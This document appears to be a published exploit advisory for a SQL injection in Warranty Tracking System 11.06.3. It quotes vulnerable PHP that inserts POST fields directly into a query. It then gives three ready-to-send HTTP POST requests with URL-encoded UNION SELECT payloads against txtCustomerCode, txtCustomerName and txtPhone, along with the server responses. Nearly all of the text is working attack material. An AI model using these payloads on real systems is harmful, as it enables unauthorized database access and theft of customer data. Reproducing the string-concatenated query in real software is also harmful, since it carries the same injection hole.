Warranty Tracking System 11.06.3 SQL Injection

`# Exploit Title: Warranty Tracking System 11.06.3 - 'txtCustomerCode' SQL Injection  
# Dork: N/A  
# Date: 2018-11-14  
# Exploit Author: Ihsan Sencan  
# Vendor Homepage: http://warrantytrack.org/  
# Software Link: https://kent.dl.sourceforge.net/project/warrantytrack/warrantytrack%20Rel.11.06.3.zip  
# Version: 11.06.3  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
  
# //[PATH]//Customer//SearchCustomer.php  
# ....  
#83 $strSQL = "SELECT * FROM tblCustomers WHERE 1=1 ";  
#84 if ( strlen($_POST["txtCustomerCode"])>0 )  
#85 $strSQL .= " And cCuctomerID Like '%" . $_POST["txtCustomerCode"] . "%'";  
#86   
#87 if ( strlen($_POST["txtCustomerName"])>0 )  
#88 $strSQL .= " And cName Like '%" . $_POST["txtCustomerName"] . "%'";  
#89   
#90 if ( strlen($_POST["txtPhone"])>0 )  
#91 $strSQL .= " And cPhone Like '%" . $_POST["txtPhone"] . "%'";  
#92   
#93 $Result = mysql_query($strSQL);  
#94   
#95 while($Field_Customer = mysql_fetch_array($Result))  
#96 {  
# ....  
  
# POC:   
# 1)   
# http://localhost/[PATH]/SearchCustomer.php?pDivAlert=NoCustomer  
#   
POST /PATH/customer/SearchCustomer.php?pDivAlert=NoCustomer HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: PHPSESSID=909k34togduf8v49mibgj6cpp5  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 244  
txtCustomerCode=%27%20%55%6e%69%4f%6e%20%53%65%6c%65%63%74%20%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%32%2c%33%2c%34%2c%35%2c%36%2d%2d%20%2d  
HTTP/1.1 200 OK  
Date: Wed, 14 Nov 2018 06:03:04 GMT  
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30  
X-Powered-By: PHP/5.6.30  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
Content-Length: 4245  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: text/html; charset=UTF-8  
  
# POC:   
# 2)   
# http://localhost/[PATH]/SearchCustomer.php?pDivAlert=NoCustomer  
#   
POST /PATH/customer/SearchCustomer.php?pDivAlert=NoCustomer HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: PHPSESSID=909k34togduf8v49mibgj6cpp5  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 244  
txtCustomerName=%27%20%55%6e%69%4f%6e%20%53%65%6c%65%63%74%20%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%32%2c%33%2c%34%2c%35%2c%36%2d%2d%20%2d  
HTTP/1.1 200 OK  
Date: Wed, 14 Nov 2018 06:05:13 GMT  
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30  
X-Powered-By: PHP/5.6.30  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
Content-Length: 4245  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: text/html; charset=UTF-8  
  
# POC:   
# 3)   
# http://localhost/[PATH]/SearchCustomer.php?pDivAlert=NoCustomer  
#   
POST /PATH/customer/SearchCustomer.php?pDivAlert=NoCustomer HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: PHPSESSID=909k34togduf8v49mibgj6cpp5  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 237  
txtPhone=%27%20%55%6e%69%4f%6e%20%53%65%6c%65%63%74%20%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%32%2c%33%2c%34%2c%35%2c%36%2d%2d%20%2d  
HTTP/1.1 200 OK  
Date: Wed, 14 Nov 2018 06:06:25 GMT  
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30  
X-Powered-By: PHP/5.6.30  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
Content-Length: 4252  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: text/html; charset=UTF-8  
  
`